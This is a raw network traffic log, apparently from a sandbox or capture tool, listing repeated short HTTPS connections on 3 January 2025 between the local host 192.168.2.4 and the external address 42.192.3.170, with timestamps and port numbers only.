Jan 3, 2025 02:52:05.017132998 CET	443	49734	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:05.017245054 CET	49734	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:05.017245054 CET	49734	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:05.030837059 CET	49734	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:05.030858994 CET	443	49734	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:05.030868053 CET	49734	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:05.030905962 CET	49734	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:05.146013975 CET	49735	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:05.146045923 CET	443	49735	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:05.146131992 CET	49735	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:05.146380901 CET	49735	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:05.146390915 CET	443	49735	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:06.304135084 CET	443	49735	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:06.304212093 CET	49735	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:06.304788113 CET	49735	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:06.304795027 CET	443	49735	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:06.305881977 CET	49735	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:06.305886030 CET	443	49735	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:06.835644007 CET	443	49735	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:06.835684061 CET	443	49735	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:06.835707903 CET	49735	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:06.835733891 CET	49735	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:06.849103928 CET	49735	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:06.849116087 CET	443	49735	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:06.849124908 CET	49735	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:06.849164009 CET	49735	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:06.958478928 CET	49736	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:06.958518028 CET	443	49736	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:06.958615065 CET	49736	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:06.958818913 CET	49736	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:06.958831072 CET	443	49736	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:08.143825054 CET	443	49736	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:08.143920898 CET	49736	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:08.144284010 CET	49736	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:08.144293070 CET	443	49736	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:08.145541906 CET	49736	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:08.145545959 CET	443	49736	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:08.674175024 CET	443	49736	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:08.674215078 CET	443	49736	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:08.674246073 CET	49736	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:08.674267054 CET	49736	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:08.674593925 CET	49736	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:08.674606085 CET	443	49736	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:08.674617052 CET	49736	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:08.674665928 CET	49736	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:08.802382946 CET	49737	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:08.802434921 CET	443	49737	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:08.802520990 CET	49737	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:08.802825928 CET	49737	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:08.802844048 CET	443	49737	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:10.004683971 CET	443	49737	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:10.004885912 CET	49737	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:10.005530119 CET	49737	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:10.005537987 CET	443	49737	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:10.006690979 CET	49737	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:10.006697893 CET	443	49737	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:10.561916113 CET	443	49737	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:10.561956882 CET	443	49737	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:10.562186956 CET	49737	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:10.562298059 CET	49737	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:10.562321901 CET	443	49737	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:10.562331915 CET	49737	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:10.562371016 CET	49737	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:10.677278042 CET	49738	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:10.677308083 CET	443	49738	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:10.677390099 CET	49738	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:10.677618027 CET	49738	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:10.677628994 CET	443	49738	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:11.906311989 CET	443	49738	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:11.906367064 CET	49738	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:11.906852007 CET	49738	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:11.906857967 CET	443	49738	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:11.908025026 CET	49738	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:11.908030987 CET	443	49738	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:12.486169100 CET	443	49738	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:12.486215115 CET	443	49738	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:12.486232996 CET	49738	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:12.486290932 CET	49738	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:12.486587048 CET	49738	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:12.486587048 CET	49738	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:12.486598969 CET	443	49738	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:12.486783028 CET	49738	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:12.614850044 CET	49740	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:12.614896059 CET	443	49740	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:12.616863012 CET	49740	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:12.617078066 CET	49740	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:12.617094994 CET	443	49740	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:13.799782991 CET	443	49740	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:13.800790071 CET	49740	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:13.801110983 CET	49740	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:13.801119089 CET	443	49740	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:13.802273035 CET	49740	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:13.802278996 CET	443	49740	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:14.354796886 CET	443	49740	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:14.354840040 CET	443	49740	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:14.354862928 CET	49740	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:14.354907036 CET	49740	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:14.355114937 CET	49740	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:14.355135918 CET	443	49740	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:14.355158091 CET	49740	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:14.355180979 CET	49740	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:14.475826979 CET	49745	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:14.475847006 CET	443	49745	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:14.476046085 CET	49745	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:14.477336884 CET	49745	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:14.477348089 CET	443	49745	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:15.680933952 CET	443	49745	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:15.681022882 CET	49745	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:15.681370020 CET	49745	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:15.681380033 CET	443	49745	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:15.686988115 CET	49745	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:15.686992884 CET	443	49745	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:16.215660095 CET	443	49745	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:16.215718985 CET	443	49745	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:16.215719938 CET	49745	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:16.215780973 CET	49745	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:16.223691940 CET	49745	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:16.223706007 CET	443	49745	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:16.223715067 CET	49745	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:16.223757982 CET	49745	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:16.333590031 CET	49747	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:16.333609104 CET	443	49747	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:16.333679914 CET	49747	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:16.334033966 CET	49747	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:16.334043980 CET	443	49747	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:17.533596039 CET	443	49747	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:17.533678055 CET	49747	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:17.534271955 CET	49747	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:17.534281015 CET	443	49747	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:17.539144993 CET	49747	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:17.539149046 CET	443	49747	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:18.083178997 CET	443	49747	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:18.083246946 CET	443	49747	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:18.083246946 CET	49747	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:18.083295107 CET	49747	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:18.090907097 CET	49747	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:18.090920925 CET	443	49747	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:18.090931892 CET	49747	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:18.090969086 CET	49747	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:18.192908049 CET	49748	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:18.192935944 CET	443	49748	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:18.193025112 CET	49748	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:18.193209887 CET	49748	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:18.193221092 CET	443	49748	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:19.376979113 CET	443	49748	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:19.377033949 CET	49748	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:19.378906965 CET	49748	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:19.378914118 CET	443	49748	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:19.381108046 CET	49748	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:19.381113052 CET	443	49748	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:19.928119898 CET	443	49748	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:19.928175926 CET	49748	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:19.928191900 CET	443	49748	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:19.928204060 CET	443	49748	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:19.928231955 CET	49748	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:19.928253889 CET	49748	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:19.964771032 CET	49748	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:19.964791059 CET	443	49748	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:19.964798927 CET	49748	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:19.964837074 CET	49748	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:20.067984104 CET	49749	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:20.068031073 CET	443	49749	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:20.068126917 CET	49749	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:20.068341970 CET	49749	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:20.068355083 CET	443	49749	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:21.290194035 CET	443	49749	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:21.290287971 CET	49749	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:21.290704966 CET	49749	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:21.290719032 CET	443	49749	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:21.291759968 CET	49749	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:21.291764975 CET	443	49749	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:21.861254930 CET	443	49749	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:21.861296892 CET	443	49749	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:21.861325026 CET	49749	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:21.861346960 CET	49749	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:21.869991064 CET	49749	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:21.870009899 CET	443	49749	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:21.870018959 CET	49749	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:21.870220900 CET	49749	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:21.974509001 CET	49750	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:21.974538088 CET	443	49750	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:21.974594116 CET	49750	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:21.974858999 CET	49750	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:21.974869967 CET	443	49750	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:23.132466078 CET	443	49750	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:23.132550001 CET	49750	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:23.132988930 CET	49750	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:23.132997036 CET	443	49750	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:23.134100914 CET	49750	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:23.134107113 CET	443	49750	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:23.663177967 CET	443	49750	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:23.663228989 CET	443	49750	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:23.663302898 CET	49750	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:23.663625956 CET	49750	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:23.663640022 CET	443	49750	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:23.663647890 CET	49750	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:23.663710117 CET	49750	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:23.802304029 CET	49751	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:23.802355051 CET	443	49751	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:23.802453041 CET	49751	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:23.802797079 CET	49751	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:23.802812099 CET	443	49751	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:24.960342884 CET	443	49751	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:24.960448027 CET	49751	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:24.989123106 CET	49751	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:24.989142895 CET	443	49751	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:24.990417957 CET	49751	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:24.990427017 CET	443	49751	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:25.493223906 CET	443	49751	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:25.493273973 CET	443	49751	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:25.493298054 CET	49751	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:25.493319035 CET	49751	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:25.654071093 CET	49751	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:25.654105902 CET	443	49751	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:25.654115915 CET	49751	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:25.654151917 CET	49751	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:25.761311054 CET	49752	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:25.761362076 CET	443	49752	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:25.761431932 CET	49752	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:25.761671066 CET	49752	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:25.761686087 CET	443	49752	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:26.933979988 CET	443	49752	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:26.934786081 CET	49752	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:26.935115099 CET	49752	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:26.935123920 CET	443	49752	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:26.936311007 CET	49752	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:26.936316967 CET	443	49752	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:27.476510048 CET	443	49752	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:27.476566076 CET	443	49752	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:27.476577997 CET	49752	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:27.476610899 CET	49752	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:27.476847887 CET	49752	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:27.476865053 CET	443	49752	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:27.476874113 CET	49752	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:27.476911068 CET	49752	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:27.599180937 CET	49753	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:27.599217892 CET	443	49753	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:27.599328041 CET	49753	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:27.599695921 CET	49753	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:27.599709034 CET	443	49753	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:28.868721008 CET	443	49753	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:28.868788958 CET	49753	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:28.869260073 CET	49753	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:28.869266987 CET	443	49753	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:28.870433092 CET	49753	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:28.870436907 CET	443	49753	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:29.424730062 CET	443	49753	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:29.424787998 CET	443	49753	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:29.424869061 CET	49753	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:29.440370083 CET	49753	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:29.440385103 CET	443	49753	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:29.440395117 CET	49753	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:29.440821886 CET	49753	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:29.552304029 CET	49754	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:29.552345037 CET	443	49754	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:29.552443027 CET	49754	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:29.552714109 CET	49754	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:29.552730083 CET	443	49754	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:30.748208046 CET	443	49754	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:30.748297930 CET	49754	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:30.748667002 CET	49754	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:30.748676062 CET	443	49754	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:30.749636889 CET	49754	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:30.749641895 CET	443	49754	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:31.288542032 CET	443	49754	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:31.288594961 CET	443	49754	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:31.288618088 CET	49754	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:31.288638115 CET	49754	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:31.288888931 CET	49754	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:31.288903952 CET	443	49754	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:31.288914919 CET	49754	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:31.288950920 CET	49754	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:31.411672115 CET	49755	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:31.411701918 CET	443	49755	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:31.411777020 CET	49755	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:31.412193060 CET	49755	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:31.412204981 CET	443	49755	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:32.612406015 CET	443	49755	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:32.612508059 CET	49755	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:32.612920046 CET	49755	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:32.612926960 CET	443	49755	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:32.614119053 CET	49755	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:32.614124060 CET	443	49755	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:33.167363882 CET	443	49755	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:33.167418957 CET	443	49755	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:33.167452097 CET	49755	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:33.167471886 CET	49755	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:33.167721987 CET	49755	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:33.167736053 CET	443	49755	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:33.167763948 CET	49755	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:33.167783022 CET	49755	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:33.302563906 CET	49756	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:33.302596092 CET	443	49756	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:33.302669048 CET	49756	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:33.302954912 CET	49756	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:33.302967072 CET	443	49756	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:34.487479925 CET	443	49756	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:34.487539053 CET	49756	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:34.487977982 CET	49756	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:34.487987041 CET	443	49756	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:34.489430904 CET	49756	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:34.489434958 CET	443	49756	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:35.039016008 CET	443	49756	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:35.039060116 CET	443	49756	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:35.039072037 CET	49756	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:35.039104939 CET	49756	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:35.039321899 CET	49756	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:35.039335966 CET	443	49756	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:35.039345026 CET	49756	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:35.039381981 CET	49756	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:35.161626101 CET	49757	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:35.161674023 CET	443	49757	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:35.161858082 CET	49757	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:35.162029028 CET	49757	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:35.162045002 CET	443	49757	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:36.367520094 CET	443	49757	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:36.367609024 CET	49757	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:36.368048906 CET	49757	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:36.368057966 CET	443	49757	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:36.369261026 CET	49757	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:36.369266987 CET	443	49757	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:36.928798914 CET	443	49757	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:36.928834915 CET	443	49757	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:36.928920984 CET	49757	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:36.939598083 CET	49757	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:36.939620972 CET	443	49757	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:36.939647913 CET	49757	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:36.940133095 CET	49757	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:37.339715958 CET	49758	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:37.339749098 CET	443	49758	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:37.339811087 CET	49758	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:37.340168953 CET	49758	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:37.340182066 CET	443	49758	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:38.608048916 CET	443	49758	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:38.608798981 CET	49758	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:38.609189987 CET	49758	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:38.609196901 CET	443	49758	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:38.610362053 CET	49758	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:38.610367060 CET	443	49758	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:39.215344906 CET	443	49758	42.192.3.170	192.168.2.4
